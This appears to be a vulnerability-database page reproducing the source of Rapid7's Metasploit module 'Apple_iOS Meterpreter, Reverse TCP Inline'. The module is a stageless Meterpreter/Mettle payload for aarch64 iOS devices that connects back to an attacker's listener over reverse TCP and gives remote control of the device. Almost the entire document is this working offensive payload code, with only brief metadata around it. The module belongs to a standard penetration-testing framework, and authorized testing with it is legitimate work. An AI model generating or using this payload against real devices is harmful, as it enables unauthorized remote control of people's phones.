Apple_iOS Meterpreter, Reverse TCP Inline

2017-12-12T15:23:21
ID MSF:PAYLOAD/APPLE_IOS/AARCH64/METERPRETER_REVERSE_TCP
Type metasploit
Reporter Rapid7
Modified 2020-03-30T08:12:42

Description

Run the Meterpreter / Mettle server payload (stageless)

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/meterpreter_options'
require 'msf/base/sessions/mettle_config'
require 'msf/base/sessions/meterpreter_aarch64_apple_ios'

module MetasploitModule

  CachedSize = 777708

  include Msf::Payload::Single
  include Msf::Sessions::MeterpreterOptions
  include Msf::Sessions::MettleConfig

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'          => 'Apple_iOS Meterpreter, Reverse TCP Inline',
        'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
        'Author'        => [
          'Adam Cammack <adam_cammack[at]rapid7.com>',
          'Brent Cook <brent_cook[at]rapid7.com>',
          'timwr'
        ],
        'Platform'      => 'apple_ios',
        'Arch'          => ARCH_AARCH64,
        'License'       => MSF_LICENSE,
        'Handler'       => Msf::Handler::ReverseTcp,
        'Session'       => Msf::Sessions::Meterpreter_aarch64_Apple_iOS
      )
    )
  end

  def generate
    opts = {
      scheme: 'tcp',
      stageless: true
    }
    MetasploitPayloads::Mettle.new('aarch64-iphone-darwin', generate_config(opts)).to_binary :exec
  end
end